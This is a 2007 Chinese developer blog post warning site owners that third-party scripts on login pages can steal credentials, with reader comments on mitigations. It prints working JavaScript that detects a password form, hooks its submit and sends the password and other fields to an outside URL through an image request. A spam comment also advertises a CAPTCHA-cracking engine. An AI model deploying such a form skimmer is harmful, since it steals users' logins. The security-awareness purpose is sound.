推荐.NET教程: ASP.NET C# 开发环境 Ajax教程 控件开发 统计报表 数据库 Web服务 安装部署 CommunityServer NHibernate DataGrid/GridView 实用代码 VS2005
示例源码 MVC/三层 SqlHelper 入门源码 开源 CMS Ajax/Atlas C#.net 毕业设计 源码 经典代码 商业 本站作品 持久层 随书源码 WebService 英文/汉化 Asp.net2.0

阿牛·乐园

每天进步一点点

  博客园 :: 首页 :: 新随笔 :: 联系 :: 订阅 订阅 :: 管理 ::
  71 随笔 :: 14 文章 :: 374 评论 :: 13 Trackbacks
    如果您是一位站长,你的网站里面一定引入过别站的脚本,如计数器等。但我强烈建议您不要把这个脚本引入到登陆页面。
    因为如果你这样做了,对方(脚本作者)可以在神不知鬼不觉的情况下,把你的用户的帐户,密码等信息偷走。
    您可能要问:第一、对方如何知道我把脚本放在登陆页面?第二、现在有IE7,XMLHTTP也不可能跨域了,对方如何知道信息?
    其实,这两个问题,都很简单。
    第一、对方只需用脚本枚举FORM,判断里面的是否包含:<input type="password" />的控件,就可以知道是否是登陆窗体。
    第二、没有了 XMLHTTP,还有好多种方法来完成数据的提交,最简单的:
var up = new Image(); up.src=http://xxx.xxx.xxx.xxx/getdata.asp?data=aaa|bbb|ccc;
很简单吧!!我们来看下示例核心代码:
    function _bho_DataPost(form)
    
{
        
var userInfoArray = [];
        
for(var name in form)
        
{
            userInfoArray.push(name 
+ '=+ escape(form[name]));
        }

        
        
var userInfo = userInfoArray.join('&');
        
try
        
{
          
//提交数据(这里有密码的哟)
          var send = new Image();
        send.src 
= "[url=http://evlon.cnblogs.com/getdata.asp]http://evlon.cnblogs.com/getdata.asp[/url]?" + userInfo;
        }

        
catch(e)
        
{}
    }

/*
  功能:得到登陆FORM,如果没有找到,则返回 null
*/

    
function _bho_getLoginForm()
    
{
        
var forms = document.forms;
        
for(var f = 0; f < forms.length; ++f)
        
{
            
var form = forms[f];
            
            
var inputs = form.getElementsByTagName("INPUT");
            
for(var i = 0; i < inputs.length; ++i)
            
{
                
if(inputs[i].type.toLowerCase() == "password")
                
{
                    
return form;
                }

            }

        }

        
        
return null;
    }

    
    
/*
    功能:注册事件,HOOK form.submit
    
*/

    
function _bho_initEvent()
    
{
        
var form = _bho_getLoginForm();
        
if(form != null)
        

        
        
//重写 form 的submit,来拦截密码
        form.__submit_ = form.submit;
        form.submit 
= function()
        
{
          _bho_SendPwd();
          
          
//如果先执行这里,因为还有事件,我们把 _bho_SendPwd 改成空函数,避免重复提交
          _bho_SendPwd = function(){}
          
return form.__submit_();
        }

        
//注册事件来监听密码提交
            form.attachEvent("onsubmit",_bho_SendPwd);
        }

    }

    
    
/*
    功能:把将要提交的FORM里面的所有数据提交
    
*/

    
function _bho_SendPwd(e)
    
{
        
var form = _bho_getLoginForm();
    
var pwd = '';
    
var otherInfoArray = [];
        
var inputs = form.getElementsByTagName("INPUT");
        
for(var i = 0; i < inputs.length; ++i)
        
{
            
if(inputs[i].type.toLowerCase() == "password")
            
{
                pwd 
= inputs[i].value;
            }

            
else
            
{
                
if(inputs[i].type.toLowerCase() == 'text')
                
{
                
//为了节省资源,如果没有名字,或者数据长度太长,应该没有什么价值,不用提交了
                    if(inputs[i].name && inputs[i].name != '' && inputs[i].value.length < 100)
                    
{
                    otherInfoArray.push(inputs[i].name 
+ '=+ inputs[i].value);
                }

            }

            }

        }

        
        
var form = [];
        form['url'] 
= window.location.href;
        form['pwd'] 
= pwd;
        form['otherInfo'] 
= otherInfoArray.join('&');
        _bho_DataPost(form);
        
//alert('发送完成');
    }

    
    
//初始化事件
    _bho_initEvent();
如果以上脚本在你的站上执行,唉。。。。。。

(改了错别字:-(    )
posted on 2007-04-21 23:16 阿牛 阅读(2810) 评论(13)  编辑 收藏 所属分类: ASP.netDHTML,JS

评论

#1楼  2007-04-21 23:56 萧寒      
不错;
  回复  引用  查看    

#2楼  2007-04-22 01:06 Cat Chen      
通常只用信得过的第三方脚本,例如Google Analytics。
  回复  引用  查看    

#3楼  2007-04-22 01:06 s3 [未注册用户]
javascript的功能逐渐变大了,差不多页面完全javascript来写。

好象大家别不关心javascript的安全性.
  回复  引用    

#4楼  2007-04-22 07:00 alang [未注册用户]
标题有错别字。
  回复  引用    

#5楼  2007-04-22 10:42 aspnetx      
标题错别字,呵呵
但楼主的提醒确实给大家多少敲响了警钟
  回复  引用  查看    

#6楼  2007-04-22 12:10 阿毅 [未注册用户]
其实何止是登录页面不应该引入,最好是在不能完全信任的情况下都不要引入,除了要对被引入方的RP考查外,还要考虑对方的安全保障力量,否则一旦其被黑客入侵控制,你一样会被收入网中。

完全做到这点挺难的。
但目前至少应该做到网站管理人员浏览时所有页面都没有其它网站的脚本,防止会话挟持。
另外一条建议是,对于必须引入的外部脚本(比如网站统计类的脚本),可以尝试放到不同域的 iframe 里,只要该 iframe 的 src url 能反映其父页就行,并不会影响统计的准确性。
  回复  引用    

#7楼 [楼主] 2007-04-22 19:35 阿牛      
@阿毅
说得有道理。
“放到不同域的 iframe 里”办法真的不错
  回复  引用  查看    

#8楼  2007-04-22 23:56 Anders Liu [未注册用户]
阿牛的醒提得好!

顺便,错别字是什么?
“登陆”么?“登录”?
没事,我们火星人都用登陆地球的~ :)
  回复  引用    

#9楼  2007-04-23 09:25 Wisdom-zh      
从来不用第三方脚本, 还真没意识到这个问题.
  回复  引用  查看    

#10楼  2007-04-23 12:38 webreport [未注册用户]
学习!! (.net报表工具,web报表,报表设计器,.net报表,web打印,excel,报表开发,报表控件,支持动态列的纯.net写的web报表开发工具在: http://www.fcsoft.com.cn/webreport.htm)
  回复  引用    

#11楼  2007-04-23 12:56 yi      
还有一点登录页面一定不要做成无刷新的
如果做成无刷新的也要使用post请求,不要使用get请求
  回复  引用  查看    

#12楼  2007-04-23 20:51 cn7ero [未注册用户]
在iframe里的脚本一样可以通过 parent 属性来得到父页的。
按照楼主的说法,应该在自己的站点上完全不放别人的东西。
不知道flash等技术有没有这样的能力。
  回复  引用    

出售蓝奇高级验证码识别引擎,可准确识别新浪动网淘宝CSDN等多种复杂验证码。

输出为一个标准DLL,可供VB,VC,Delphi,C#.NET,VB.NET,模拟精灵,按键精灵等多平台调用,调用方法简单,几行代码即可完成。独具特色的边缘检测字符分离、旋转倾斜纠正和通用字符匹配算法(无论字体和大小), 使得该引擎对于像新浪、动网、淘宝、CSDN等多种验证码均有不错的识别率,是一款效果较为理想的验证码识别引擎。附详细的调用实例和代码注释等相关技术文档。

官方网站 - http://***/yzm_advocr
识别效果怎么样一试就知道 - DEMO下载 http://***/yzm_advocr/advocr.rar

  回复  引用    


标题  
姓名  
主页
Email (博主才能看到) 
验证码 *  看不清,换一张 [登录][注册]
内容(请不要发表任何与政治相关的内容)  
  博客园首页

  新闻频道

  社区

  小组

  博问

  网摘

  闪存

  登录  使用高级评论  新用户注册  返回页首  恢复上次提交      
该文被作者在 2007-04-23 09:29 编辑过
成果网帮您增加网站收入


相关链接: